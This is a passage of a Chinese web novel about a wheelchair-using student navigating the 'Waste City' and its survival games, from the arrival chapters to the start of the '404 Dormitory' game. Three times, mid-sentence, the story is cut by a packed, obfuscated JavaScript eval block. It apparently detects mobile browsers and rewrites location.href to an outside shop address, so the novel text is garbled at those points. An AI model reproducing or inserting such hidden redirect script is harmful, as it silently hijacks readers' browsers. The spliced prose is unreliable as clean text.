他们把元国庆团团围了起来,一个接一个道,“新玩家?要不要加入我们团队啊?待遇很好的。” “刚进本就成为正式玩家了,好本事啊!” “这是你妹妹还是女儿?你带着她也成功过关了?” “你们怎么在预备游戏里赢的?遇到哪个区了?进的是哪个预备游戏?” 沈令珩听了一会才反应过来,他们是来邀请元国庆加入团队的。 她对着一脸求助的元国庆摇摇头,元国庆一边喊着“让让”一边挤出人群,推上沈令珩的轮椅,“不好意思,我们先走了。” “别急着走啊!” 沈令珩随便指了个人,“就你吧,其他人晚点联系。” 被指到的眼镜男连忙跟了上来,自夸自擂道,“你女儿真有眼光,我们冰河小队待遇不说白区第一,也起码是前三的……” “这里是真正的废城?”沈令珩打断他。 “没错!你真敏锐!你们之前进的只是预备游戏,通关一次游戏后才能到达真正的废城,也就是这个小城市,像我们白区的人基本都生活在这一片区域,生活成本比较低。” 他干笑了两声,“通关一次游戏后,就可以解锁商城了,里面可供选择的东西很多,都是用生存点结算的,但你们才刚到这,商城里的东西都不便宜,可以再攒攒。” 沈令珩扫了一眼,他说的没错,原本还以为自己暴富了的沈令珩看着商城里动辄几万几十万的东西,忍不住捏了捏拳。 在外面是穷鬼,来了废城还是穷鬼! “废城里是不允许打架斗殴的,这个还是比较好的。”眼镜男解释道,“你们既然转正了,生存点应该还有一些吧,我带你们去吃个饭租个房,我们一起讨论讨论之后的合作?” “合作就不必了,”沈令珩说,“但你有什么问题可以问,方便回答的我都会尽力回答。” 男人看向元国庆。 元国庆连忙摆手,“别看我。” 他这才反应过来,怪不得一直是她在接话,感情游戏是这个轮椅女孩通关的? 7. 废城(一) 跟着眼镜男去看了几间房,沈令珩倒没什么,反而是元国庆一直皱着眉头,“就没有稍微好一些的吗?” 一个小姑娘怎么能住这种墙皮都发霉的房间,隔音也不行,不知道什么无良房东做的隔断。 眼镜男笑笑,“这几间性价比高,一个月也得千八百点,虽然你们手里有通关后的奖励,也经不起大手大脚啊!你们来的时候看到广场的屏幕了吧,还记得数字吗?” 元国庆不确定道,“17?” “是啊!”眼镜男笑,“知道是什么意思吗?” 元国庆摇头。 “意思就是,下个月的基础生存点只有170。”眼镜男说,“生存点的购买力嘛,除了住房,其他都和外面的货币大差不差。” 元国庆都瞪大了眼睛,连沈令珩都微微侧目,一个月170,沈令珩住校都不够花。 眼镜男摇头笑道,“在废城,每个月强制进一次游戏,通关奖励在几百到几千不等,有些比较值钱的游戏可能有几万,除了这笔收入,就只有每月发放的基础生存点了,按照区域胜利的次数算,我们白区是最少的了,其他区域少说也有个大几千的。” 他话音一转,“不过嘛,你们也可以像这些房东一样,在商店里买一套房出租,也是挺赚钱的,就是不便宜,几万块肯定要的。” 沈令珩身上有十三万多生存点,她若有所思地点点头,“租售比不太对劲。” 眼镜男朝她竖了个大拇指,“是啊!因为单间都是玩家自主出租的,房子是系统卖的,系统可不卖单间,像我们承担不起买房钱的人就只能每个月住住出租房了。” 原来如此。沈令珩明白了。 “怎么样?”眼镜男问。 “晚点再来看看吧。”沈令珩决定。 眼镜男也不催促,非常好脾气道,“那我们去吃饭?我知道一个米其林大厨开的馆子,听说在外面还要熟人介绍才能预定呢!现在嘛,上到几千生存点的套餐,下到五生存点一碗炒饭……” “让开!” 眼镜男被一个推搡差点摔倒,他极快地确认了眼对方的腕表颜色,赶紧拉着元国庆和沈令珩走。 “是黑区的人,快走快走。”他催促道。 “怎么了?”元国庆还在状况外,下意识顺着他的意思推着沈令珩离开。 眼镜男往后不住地张望着,确定远离了他才解释道,“知道废城的划区吗?” 元国庆摇摇头。 沈令珩倒是还知道个红区,但她没搭话,示意他继续。 眼镜男便说,“废城总共五个区,三个级别,白区为最低级,红黄蓝为中级,黑区是最高级。分区不是乱分的,像我们白区就是通关可能性最低,各方面能力都不行的。红区是重武,身体素质和武力值高,蓝区是重文,聪明人很多,知识储备也更丰富,黄区是相对均衡但都不突出。最可怕的还是黑区……” 他顿了顿,“那里面的人基本都是六边形战士,人中龙凤!或者有一项突出到我等凡人望尘莫及,另外的也没什么太大短板。” 沈令珩见过红区的人,知道他说的是对的,那些人确实看着都像是很能打的人。 只是…… “不是说废城不允许打架斗殴吗?你怕什么?”沈令珩疑惑。 “废城是不允许!但游戏里可以啊!”眼镜男悲愤,“你看看商城里第三页第七个是什么,可以绑定对方,下一次进同一个游戏。谁得罪他们,直接绑定了一起进游戏,根本斗不过!要是得罪了白区的倒无所谓,反正白区的都是穷鬼,不会花这个钱,但黑区的就不一样了,他们太有钱了!真会花这个钱买个痛快!” 沈令珩看着这个价值一万的绑定功能,只有一个图标,没有解释说明,如果不是眼镜男说,她是绝对猜不出来它的作用的,“所以进游戏后队友是随机的?” 眼镜男点点头,“和哪个区一起进,几个区,都是随机的。我们不仅要通关,还要比其他区早通关,通关的贡献度、参与度还有生存率更高,才能赢过他们,在广场大屏幕加一位数字。” 说到这,他叹了口气,“白区的人是最多的,数字却一直是最小的,这下你们知道当时为什么那么多人围着你们了吧?” 矮子里面拔高个。他们当时的通关结果都被人看到了? “说起来你们遇到哪个区了?”眼镜男看看沈令珩的轮椅,“黄区还是红区?” “红区。”沈令珩倒也没问他为什么排除了蓝区,很显然,她这个身体状况还能通关的游戏肯定偏智斗,如果遇到蓝区的人,那就是他们的主场。 眼镜男恐怕不觉得她一个被分到白区的人能在智斗上赢过蓝区。 虽然沈令珩并不认为自己就赢不过蓝区的人了,但她毕竟没遇到过蓝区的人,也不好把话说的太死。 “几号预备游戏啊?”三人不知不觉进了一家餐厅。 眼镜男熟练地点菜,又把菜单推到沈令珩他们面前,“咱们边吃边说,我是真好奇你们两个新人是怎么通关的,要知道白区到现在为止,转正的也没几个呢。” “006。”沈令珩似乎毫无隐瞒的意思。 眼镜男的眼睛都发起光来,“里面什么情况啊?你们的行李箱都丢了,应该很激烈吧?” 沈令珩露出正在回忆的表情,一脸认真道,“有点类似于末世,需要找到信号塔和返回舱,然后尽快到达就行了,红区的人似乎是遇到了什么麻烦,走错路了,是我们先到的。” 她的脸其实非常具有欺骗性,尤其是目光柔和下来的时候,看着就像是学生时期那个无害的白月光,让人忍不住相信她。 眼镜男认可地点点头,期待地看着她,“还有呢?” “没了。”沈令珩摇摇头。 “就这样?”看着沈令珩那一脸茫然的样子,眼镜男眼里闪过失望,“那你们就是纯靠运气啊,估计是红区内讧了吧。” 沈令珩真诚地点点头,“是的,他们比我们人还少。” 眼镜男的好脸色彻底没了,他直接起身,不客气道,“我还有点事,先走了。” 沈令珩的眼里满是单纯,“不吃了吗?” 眼镜男敷衍道,“急事。”便匆匆忙忙跑了。 他走了,元国庆才忍不住开口,“他真是个好人啊!” 饭菜端上来了,大多是眼镜男点的,沈令珩只点了一碗价值一生存点的面条,“先吃饭吧,晚点回去说。” 这里人多眼杂,还是眼镜男带来的店,说不准有他的眼线。 眼镜男大概在废城生活了不少时间了,这家店的菜品味道是真不错,沈令珩一直在吃,每道菜都吃到光盘才吃下一道。 吃到喉头反上来一股恶心,沈令珩才招呼伙计来,把剩下的全部打包带走。 元国庆很有眼力见地替她拎上,他不自觉想着,半大的姑娘食量也不小啊,正要去结账,发现沈令珩已经结了。 不贵,那么多个菜才61生存点,他心想,在外面61块可吃不了这么多,这还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274057|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个大菜呢。 “走吧,”沈令珩滚动轮椅,“去……朱雀大街9号,那边我买了一套房。” “啊?”元国庆一愣,买了一套房?买了一套房?!她怎么有这么多生存点?他看了下自己的生存点,还不够买个厕所的! 当时沈令珩是在腕表上勒索其他人的,所以元国庆其实没看到她在做什么。 他也没好意思问这个,毕竟这就和存款一样,问了挺冒昧的,“在哪里?” 他们初来乍到的,也不认路啊。 “跟我来。”沈令珩倒是十分胸有成竹的样子,“刚才在中介那边贴了不少地图,我记得路。” 不仅记得路,还记得一些标志性建筑,虽然不至于完全背出来,但即时记忆允许她记下重要的地方,比如她选中的房子位置。 两人到了目的地,沈令珩不得不对“套房”两个字产生了怀疑,她这分明是一间平房。 环境非常好,距离最近的邻居也隔了一条河。 没有钥匙,权限是直接和她的腕表,或者说个人信息挂钩的,元国庆想进来还需要她发放权限,可以调节时间长短。 两人到里面坐下,家具一应俱全,类似于那种样板房的,沈令珩对此不甚了解,反正她觉得挺高级的,没必要调整了。 她艰难地从轮椅滚到沙发上,身体松懈下来,她来回抚摸着皮质的沙发,那双一直冷冽的眼睛柔软下来。 这是独属于她的家。 沈令珩放任自己沉浸在安心感中,片刻后,才开始和元国庆解释。 “刚才那个人,是怀着目的来的。”沈令珩开门见山。 元国庆自然知道这一点,“想拉我们进团队吧!” 沈令珩摇头,“不是,或者说不全是,他的主要目的是来套情报的。” “啊?”元国庆愣神,“什么情报?就游戏里的情报吗?我还以为他是个好人,告诉我们那么多有用的东西。” 元国庆一看就是那种很正派的良家子,他在废城就和羊入狼窝一样,还相信什么好人与坏人。 沈令珩在心里叹了口气,但这也正是她欣赏他信任他的一大原因,“那些情报,我们随便找个人给生存点问问就可以知道了,顶天了价值一顿饭,如果刚才他不走,那顿饭我也会买单的,毕竟他确实给了我们很多消息。” 沈令珩深知天上不会掉馅饼,尤其是在废城,她对废城的认知是那么粗浅,但已经明白这里不是法治社会,更遵守丛林法则。 “他说的那个米其林大厨的饭店,一碗炒饭就要五个生存点,而后面带我们去的那家,一碗面只需要一个生存点,跨越太大了。”如果真像他所说的,白区一个月基础生存点才170,他怎么可能会对5生存点的炒饭感兴趣? 沈令珩一一指出他的矛盾之处,“还有那个绑定功能,不觉得奇怪吗?他明明说白区的人用不到,但是却连它在商城的哪个位置都一清二楚,那可是一万生存点的商品。” 沈令珩见元国庆似乎有些懂了,给出她的结论,“刚才那个眼镜男,他的生存点恐怕少不了。” 沈令珩说得很慢,力求元国庆能跟上她的思路,“像我们这样通关一次,甚至说是赢过其他区一次,再加一条支线,也才六千生存点的收益,普通白区人,肯定比我们更低。” “那个屏幕上计数才计到17,刚才广场上那么多白区人,像我们这样一次通关五千点生存点的估计也就17次。” “那么他的生存点是怎么来的?” 8. 废城(二) “只有三种可能,”沈令珩的声音愈发肯定,“要么他会频繁进游戏,要么他和米其林大厨一样开店,要么他有别的来钱路子。” 沈令珩顿了顿,确定元国庆跟上了才继续解释,“前两者都很好排除,经常进游戏的人绝对没有这样的精力在广场守人,开店更不必说,所以只剩下最后一种可能了。” 元国庆似乎明白了,他想到了梁方,他忍不住按了按太阳穴。 “守人,然后接触新人,就是他的工作。”沈令珩直接给出结论,“他用一些随便问个人就能知道的废城常识博取新人的信任,然后问出他们的游戏内容。” 沈令珩提起了那个元国庆想起的人,“还记得梁方吗?他根本没有探索游戏,却知道要怎么用那种方法通关。” 她没说红区的事,肖富其实也是很明显知道如何通关的,而且他的方法比梁方更高明。 “我可不信他没付出任何代价就拿到了通关方法,”沈令珩眸色微闪,“我更倾向于他是和眼镜男那样的人买的攻略。” 通过套新人的通关攻略转卖,来赚取暴利。 这可真是无本万利的买卖。 元国庆瞪大了眼睛,喉头滚动了一下。 他确实是出了游戏就和沈令珩待在一起的没错,但是她怎么分析出那么多东西来?还听着那么有道理。 沈令珩躺在柔软的沙发上,“我们还是转正了通的关,他不是说了吗,白区有很多预备玩家,说明他们很需要预备游戏的攻略。尤其是像我这种高质量的通关攻略。” “我的通关路径,还有一条支线收益,可不能白白被人套走。”她低喃道。 * 在沈令珩的强烈要求下,元国庆最后还是选择了和沈令珩同住,她的平房少说有600平,再住三五个人都没问题,但出去住只能住那种小隔间,还很贵,实在不划算。 沈令珩也需要有人帮她做事,元国庆正直而且知恩图报,算得上是一个“好人”,他是很好的选择。 比如说,她需要把空置的房子出租出去,又比如说,她现在非常需要找到一个医生,一个帮她复健的医生。 元国庆推着沈令珩在外面逛,今天的广场人少了很多,沈令珩很快就想明白了,昨天是月底,白区的人更倾向于拖到月底被强制拉进游戏。 今天已经是月初了,会在今天进游戏的是少数,所以便没什么人会来这里了,大家或许更倾向于在娱乐场所消遣,或者在家里休息。 商业街上的各个店铺里还挺热闹的。 如果不用进游戏的话,这里真的和普通的小镇一样。 除了饭店,服装店和超市也有,甚至还有理发店和美甲店这样的服务行业,十几米外还挂着去棋牌室等娱乐场所的路标。 “哎,这位兄弟,”元国庆叫住一个看起来很好说话的男人,他带着白色的腕表,“你知道医院在哪吗?” “不知道不知道!”男人没好气道,但却没有走,眼睛黏在沈令珩身上。 光从皮相上讲,沈令珩的五官是非常出众的,只是她的气质过于阴冷,尤其是坐在轮椅上,有种因为残疾导致心理扭曲的阴沉感。 “5生存点。” 元国庆还在因被拒绝而尴尬,就听沈令珩报了价。 “你打发叫花子呢!”男人一甩衣袖,“两个穷鬼!” 然后一步三回头地走了。 “噗。” 一道健康的笑声在沈令珩身后响起,沈令珩偏过头,看见是黑皮一米八体育生邹海洋,还有声音沙哑的沙子卓。 “绝对没有嘲笑的意思。”邹海洋一脸严肃道,然后又换上阳光的笑脸朝她挥挥手,“又见面了,沈令珩对吧?” 沙子卓也朝她点点头。 “我知道医院在哪呀,”邹海洋朝她眨眨眼,“不用生存点。” 原本白区的男人脸色一沉,但碍于两人是红区的,他也不敢惹,只能过过嘴瘾,“新人就是不懂规矩。” 然后快步跑了。 “谢谢。”沈令珩淡淡道,视线在他的笑脸上顿了顿。 邹海洋从元国庆手歪头仔细盯了她一会,“诶?你是这种性格吗?” 明明当时在视频里还要更活泼一些的。 沙子卓不动声色地扯了他一下。 “你们找到住处了吗?”沈令珩没回答,转移话题道。 “找到了吧算是。”邹海洋脸上的笑容淡了些。 沈令珩听出他语气不对,问,“怎么了?” “肖富不让我们俩住宿舍……”他有些委屈道,“说我们和白区的关系那么好,不如去做白区的人。” “他针对你们?”沈令珩皱眉。 “嗯……”邹海洋有些犹豫,还是沙子卓接过了话,解释道,“也不算是他针对我们,是有同期嫉妒我们没付出多少生存点就通关了,去他那边上眼药。” 那不还是他针对的吗。沈令珩心道。 她确实没考虑到人心可以卑劣至此,只是一些偏向就足够其他人嫉妒怨恨,损人不为利己,只为让自己心理上好受一些。 “不说这个了。”邹海洋把她推进医院大门,说是医院,其实也就是个小诊所,“就是这里了。” 他很有边界感地松开手。 沈令珩朝他们点了点头,“我一个人去就行。” 她并不打算把自己具体的健康状态公开。 便转着轮子走了。 其余三人不由想到,原来她的腿还需要定期复查,实在是太辛苦了。 以后要是遇到什么地形很差的游戏,那她还能活下来吗?红区的两位想着。 “啊!”邹海洋一拍掌心。 “怎么了?”沙子卓问。 “所以她被分到白区,是不是因为这个啊?”邹海洋一脸激动地问沙子卓,“其实她应该被分去蓝区吧?她那么聪明!” “我也觉得很奇怪,照理来说她不应该在白区的。”元国庆忍不住插话。 “不奇怪。”沙子卓解释道,“她这种要坐轮椅程度的残疾,一般情况下通关率都很低,基本都会分进白区的,蓝区也需要你是身体健康才能去,这是基本门槛。” 元国庆想起眼镜男的话,这时候回过味来了,他说的似乎并不很对。 相比下来,沙子卓的说法比较说得通。 他在心里叹了口气,白区连基本的资料都不能保证正确率吗? 他便和两人提起了那个眼镜男,红区那边对新人的培训是非常系统的,元国庆和他们聊了好久,收获很多。 沈令珩出来时便听他们在讨论几个区的累积胜场数。 白区不用说,红区居然有两百十几,蓝区和黄区多一些,在两百六七十,黑区少一些,两百出头。 “黑区怎么会少?”元国庆震惊,“不是说他们都很厉害吗?” “他们人少啊。”邹海洋无奈道,“白区人是最多的,说是有几万,像我们红黄蓝三区每个区大概有七八千,黑区总共才不到一百个。” 见沈令珩出来了,三人都站了起来,元国庆率先开口,“要去配药吗?” 她的腿上上了支具,两侧有可调节的金属条,医生做了调节,金属支具将她的膝盖固定住,只能僵硬地保持笔直。 沈令珩摇摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274058|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她拎起手中的药,“回吧,已经拿到了。” 这次治疗不便宜,拍片、支具、药,诊断结果是髌骨骨裂,还有一些炎症什么的,花了她大几千。不过起码是得到了治疗,毕竟她在外面根本没钱去医院,只在初期做了一些必要的干预。 但也比她想象得更严重,她还以为自己修养几个礼拜就好了……想起医生说的那句“急救处理做得不错,骨头没大错位。但固定太简陋,愈合得很慢,有条件的话找人带一次游戏,成为正式玩家后买个基础一阶恢复,再修养个一两个月,能好得快些。” 沈令珩已经成为正式玩家了,闻言便打开商城。 基础I 体质:耐力+20%,恢复速度+20% 基础I 体魄:力量+20%,速度+20% 基础I 感知:视觉/听觉/嗅觉灵敏度 +20% 一个项目5000生存点,沈令珩在思考梁方是什么等级的身体强化等级时,又有些头疼。 好缺生存点,她买下三个基础一阶的身体强化,然后看着灰色的基础二阶身体强化,这一阶需要五三次游戏次数以及一万五生存点一个项目。 到哪里都很穷啊…… 但是她不后悔花十万买下那套房,出租出去一两年就能回本了。这个租售比,不买房实在是亏大了。 “等一下!”邹海洋叫住她,他扭捏了几下,没说出口,在沈令珩疑惑的视线中,他拍了拍自己的脸,鼓起勇气道,“既然碰到了,下下次要不要一起进游戏?” 他轻咳了两声,说,“你看啊,我和卓哥都人高马大的,不管是背你还是挡在你前面,都绝对没问题。我们呢,也正好缺个聪明人,你要是不介意的话……” “绑定功能要一万生存点吧?进一次游戏好像也给不了多少生存点。”沈令珩说出了她不解的地方,示意元国庆推她回家,“而且为什么是下下次?” “我们不是输给你们了吗?现在还是预备玩家,只能进预备游戏,正式玩家进不去的。”邹海洋有些不好意思了,“至于那个绑定功能,其实有点像组队功能,最多八个人,生存点可以分摊的,如果不随意改成员的话不用每次都付钱,而且正式游戏的生存点奖励会更多一些,还是蛮划算的。” 沈令珩点点头,“那就等你们下次游戏出来再说吧。” “好嘞!”邹海洋开心了,“你有什么需要我帮忙的吗?绝对赴汤蹈火,在所不辞!” 还真有一个,沈令珩问,“白区有没有组织或者广播渠道?” “组织吗?这个我不太清楚,但是广播渠道商店里就有的,你要做什么吗?”邹海洋拿出手机,在上面滑动了几下,递给她看,说,“还有这个论坛,不管是交易还是组队,都可以用它来寻找。” “加个好友我分享给你呀。”邹海洋笑得很有感染力。 他们的手机不知为何联系不上外界了,但在废城还可以互相联络。 “我没有手机。”沈令珩一脸平静地说出了这个惊人的消息,她倒不是没买,只是进了废城后不久就扔掉了。 “啥?没有手机?家里没给买吗?还是忙着学习呀?”邹海洋震惊了,他仔细打量了一番沈令珩,等一下,“你多大了?” “高三。”沈令珩回答。 “原来是妹……原来这么小。”邹海洋话头变得飞快,“走!哥带你去手机店!”他又一次从元国庆手里夺过沈令珩的轮椅,推着她的轮椅就朝手机店飞奔。 沙子卓扶额,和元国庆对视一眼,他无奈道,“海洋的性格比较单纯,他没有坏心,就是有点缺心眼。” 元国庆非常认可地猛点头。 9.404宿舍(一) 距离进废城已经大半个月了,沈令珩在医生的指导和自己坚持不懈的复健下,她的支具被允许换成可活动的那种,膝盖也可以小幅度弯曲了。 虽然还不能独立行走,但稍微借力移动几步是可以做到的。 只可惜下一次游戏她还是得坐轮椅。 沈令珩叹了口气。她倒也不会后悔没有用治疗舱,毕竟光剑和手环都非常好用。如果再给她一次机会,她还是会那样选的。 这段时间里她也没闲在家里,经常和元国庆一起熟悉周边环境,尤其是元国庆,他连菜场时间都摸得一清二楚,厨艺更是一绝,据说在废城外是做厨师的。 但沈令珩还是有些不太自在,高三的生活太过充实,来到这里后没事做反而让她很不习惯。她连商城都刷了无数遍了,商城里的各种资源和功能,都非常局限,反正没有超出她认知的好东西。 而且食物价格不便宜,尤其这个月月初只到账了190生存点,也就是说,白区上个月只赢了19次,于生活成本而言,简直是杯水车薪。 沈令珩开始好奇1生存点的素面是哪里进的货,怎么赚的钱了。 她的房很快就找到了租客,面积大一点的那间租给了一家三口,一个月租金1500生存点,最小的那间则是租给了卢胜男,800生存点。 还有两间闲置中。 至于她的攻略,早早地挂在论坛上了,但现在还没人来问,流量很低,还收到了几条威胁私信,看名字颜色,几个都是白区的。 沈令珩也不急,她对这种情况是有预期的。 论坛上有不少人在出售各种物资,沈令珩没在系统商店见到过,这些东西或许是从外界带来的,也说不定是从游戏里带出来的,就像她的道具一样。 她思索许久,最后决定进游戏。 左右到这个月月底,她的腿不会有太大的改善,依旧得坐轮椅,真要遇到要用到双腿的游戏,都是一样的结果。 但如果能尽快解锁游戏次数,赚取足够的生存点提升身体强度,也能加快恢复速度。 只是……要不要邀请元国庆? 沈令珩垂下眸,如果她开口,元国庆恐怕不会拒绝,但她却不想欠下这份人情。 人与人之间的交往就是这样,你来我往,便积攒了所谓的交情。 她已经还了他在预备游戏里给她的帮助,不想再交往过深,导致以后一直依赖于其他人帮助。 她给元国庆留了张纸条,便出发去广场的游戏入口了。 * 【玩家:沈令珩,录入成功】 【欢迎来到404宿舍】 简单的播报过后,沈令珩照旧扫了一圈游戏环境。 确实是个宿舍,八人宿舍,分上下铺,天花板靠近门的角落里放着两个音箱,中间是一个电风扇,靠近阳台则挂着一个空调。 透过阳台的窗户看去,外面一片漆黑,不知道是游戏故意没加载还是天黑了。 沈令珩点开游戏内容,这次的游戏目标和上次也差不多,依旧是逃生,【404宿舍进行中,目标:成功逃离404宿舍(0/1)】 逃离……沈令珩的视线落到门上,又转到窗户上。 一般来说要从这两个地方出去吧。 但是游戏不会这么简单,沈令珩不打算轻举妄动,还是要先研究一下游戏才行。 她还没转动轮椅,便听身边一个女人出了声。 “真稀奇,白区的人也会提前进本么?”女人抱胸审视着沈令珩,轻笑了一声,“还是个瘸子,这是不想活了,所以进游戏找死?” 她似乎觉得自己很幽默,和身边的男人一起笑了起来。 沈令珩看了眼他们的腕表,黄色的。 不过除了黄区的人外,其余五人都没有搭理她,戴着红色腕表的两个男人大咧咧拉开宿舍中间的座位,伸手吃起了放在桌上的食物,一个光头,一个大块头。 “饿死鬼投胎。”黄区的女人嫌恶道。 红区的光头男人笑了声,“你不是饿死鬼,你最好一整个游戏都别来碰。” 黄区的女人脸色难看了一些,发出“嘁”的一声,“凭什么就许你吃?游戏里的食物本来就是每个人都能吃的。” “呵。”光头男乐了,“原来你知道啊。” “别吵了。”带着蓝色腕表的女人冷冰冰道。 “关你屁事啊?”黄区女人不满,一股脑把在红区光头男那受的气对准了蓝区女人。 蓝区女人懒得再搭理她,自顾自搜集线索,蓝区的两人似乎不像红黄两区那样是互相认识的,他们并不走在一起。 剩下那个戴着黑色腕表的男人背身靠在床位边的金属架上静静地看着他们争执。 “你什么意思啊?”黄区女人伸手要去抓她,被蓝区女人一个闪身避开,眼看着黄区女人就要发作,她身边的黄区男人终于伸手拦住了她。 “别闹了。”男人说。 黄区女人拍了拍他的手,生气地撒娇道,“你也不帮我出头。” 她的视线一转,盯上了沈令珩。 白区、瘸子,两个关键词让她眼睛滴溜一转。 反正她也活不了多久,不如为他们能活下去的人做做贡献。 她心中有了决断。 被盯上的沈令珩在宿舍转了一圈,她伸手抚摸着床边的铁架,本应该光滑的铁面摸上去是有规则的凹凸,似乎是两个字,她轻轻触碰着,正要去看,忽然感觉到轮椅被卡住了,她用力转了转轮胎,轮椅却好像被卡死了。 头顶突然传来一声嗤笑,沈令珩抬头,却见是那个黑区的男人扣住了她的轮椅,他松开她的轮椅,轻巧地把她从原来的位置推开。 然后自己占据了那个位置,手指落在床边她摸过的铁架上来回摩挲。 他长得贵气,举手投足间更是与生俱来的矜贵,连摸铁皮这个举动都做得十分有教养。 沈令珩疑惑,她无法判断他的行为出于什么目的,如果是恶意,这种程度未免太轻了,但也不像是善意,沈令珩不打算和他对上,干脆把位置让给他,仰头看了一眼上铺同样的位置。 果然是字,上面写着她的名字。 沈令珩确认了床边的内容,转着轮椅到门前,抬头看着门把手。 根据游戏目标,既然要离开,那很显然的,门就是重中之重,但无论是哪个区的人,都没有要开门的意思。 原本还有些杂音的宿舍,随着沈令珩停在门口而安静下来。 紧接着脚步声响起,停在沈令珩身后。 沈令珩微微眯起眼,便见一只细白的属于女人的手出现,她带着黄色的腕表,握住门把手向下,猛地推开门,另一只手试图一把将她连人带轮椅推出去。 电光石火间,沈令珩似乎有所准备般抓住了女人的胳膊,女人惊呼一声,黄区的男人反应极快,连忙把她拽了回来,连带着沈令珩一起。 轮椅在地面滑过,发出清晰而尖锐的声音。 女人下意识松开抓在沈令珩轮椅上的手,沈令珩却没有松开她,反而紧紧抓住她的手腕,然后借着惯性,再转动轮椅,狠狠在她脚背碾过。 “啊!!” 黄区的女人嗓子里吊出惨烈的叫声。 沈令珩这才松开她的手腕,不,是用力推开了她。 黄区女人被推进黄区男人怀里,眼泪不住往下落,她用要杀人的视线死死盯着沈令珩,“你…你竟然敢压我!” “我还敢杀了你。”沈令珩冰冷的视线如蛇信子在她脸上扫过,一时间吓得女人脸色苍白,她的嘴唇嗫嚅几下,却吐不出一个字来。 “厉害哦。”蓝区的男人鼓起掌来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278148|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不知什么时候已经坐在红区两个男人身边,三个男人就像看戏一样坐在座位上边吃边观赏他们的“战局”。 但蓝区男人并不像红区男人那样大口大口地吃,而是慢条斯理的。 蓝区女人冷冰冰地看了他一眼。 “谢杏儿。”蓝区女人审视的视线在沈令珩的轮椅上落了落,又不动声色地移开,最后对沈令珩伸出手。 沈令珩拍了拍她的掌心,“沈令珩。” “哦?沈令珩?”红区的光头男人身体感兴趣地前倾,“你认识肖富吗?头脑简单四肢发达的那个。” 他身边的蓝区男人看了他一眼,好笑般说道,“你在做自我介绍?” 光头男人被他刺了一句也没有生气,反而笑着拿走了他面前那盘薯条,笑骂,“吃都堵不上你的嘴。” 他们的氛围很轻松,沈令珩的呼吸却紧了几分。他认识肖富?但照他对肖富的评价,以及他现在的态度来看,似乎对她并没有太大的敌意。沈令珩没回答,便有人打断了他们的对话。 “孟文倩。” 男人的嗓音条件极好,他骨节分明的指节有律动地轻点在自己黑色的腕表上。音色干净,语气慵懒,带着点漫不经心,叫人的时候像在叫服务员。 他的视线极淡地看着黄区女人,“你,出去。” 这个名字出来得着实突兀,但沈令珩和谢杏儿都没有露出意外的表情,那在一旁吃瓜看戏地倒是很新奇地看着脸色苍白的黄区女人,或许应该称为孟文倩了,蓝区男人指指黑区男人和孟文倩,“你们认识啊?” 谢杏儿唇线下扯,似是有些不耐,但或许是看在同区的份上,仍是解释道,“床位上写了名字。” 总共就三个女人,两个人的名字已经公开,剩下那个人叫什么不难确定。 不过,如果是沈令珩,她并不会这么肯定,毕竟还有个叫黎思淼的,听着也像个女名。 他是有其他确定的途径?还是赌的呢? 红区的光头男人和大块头男人笑了,光头男人十分随意地起身去床位边确认了一下,道,“看来这局有人带我赢咯。” 蓝区男人看着他们摸来摸去,完全没有要起身的意思,脸上没有意外,也没有其他表情,依旧是满不在乎地往嘴里塞东西吃。 他们在那里打岔,黑区男人的视线却静静地落在孟文倩的身上,他半倚着铁架,依旧是那副漫不经心的样子,没有被他们带跑,“要么你自己出去,要么我送你出去,再关个门。” 她都不想! 孟文倩身体微颤,也不知道那个白区的瘸子哪来那么大力气,她的脚还不时传来痛感,万一门外有什么危险,她哪能有命在? 孟文倩紧紧抓住了黄区男人的手,眼里闪着泪光,她的脚已然红肿,站都站不稳了,全靠黄区男人撑着她。 男人的视线在她和黑区男人之间来回移动,最后捏紧了拳头,“我会出去试探,但你们不能对倩倩动手。” “她只要不嘴贱,我才懒得对她动手。”红区光头笑眯眯道,“团队本嘛,我们红区就不争第一了,你们争去吧。” 黄区男人的视线一一落到其他人身上,却跳过了沈令珩,“你们呢?” 其他人都点了头。 既然没她的事,沈令珩自然也不会多嘴,她只是觉得有些好笑,这种口头的承诺有意义么? 黄区男人得到了他们的承诺,把孟文倩小心翼翼地放在属于最近的床铺上,“我去去就回。” 说罢,他便抿唇站到门前,迟疑了好一会,手抬起又放下几次,最后在几人愈发不耐的视线里,屏息推开门。 门后,走廊空空荡荡,什么都没有。 男人呼出一口气,迈出脚—— 然而在他踏出门口的一瞬间,门外走廊的墙面突然齐齐亮起一点点红光。 10.404宿舍(二) 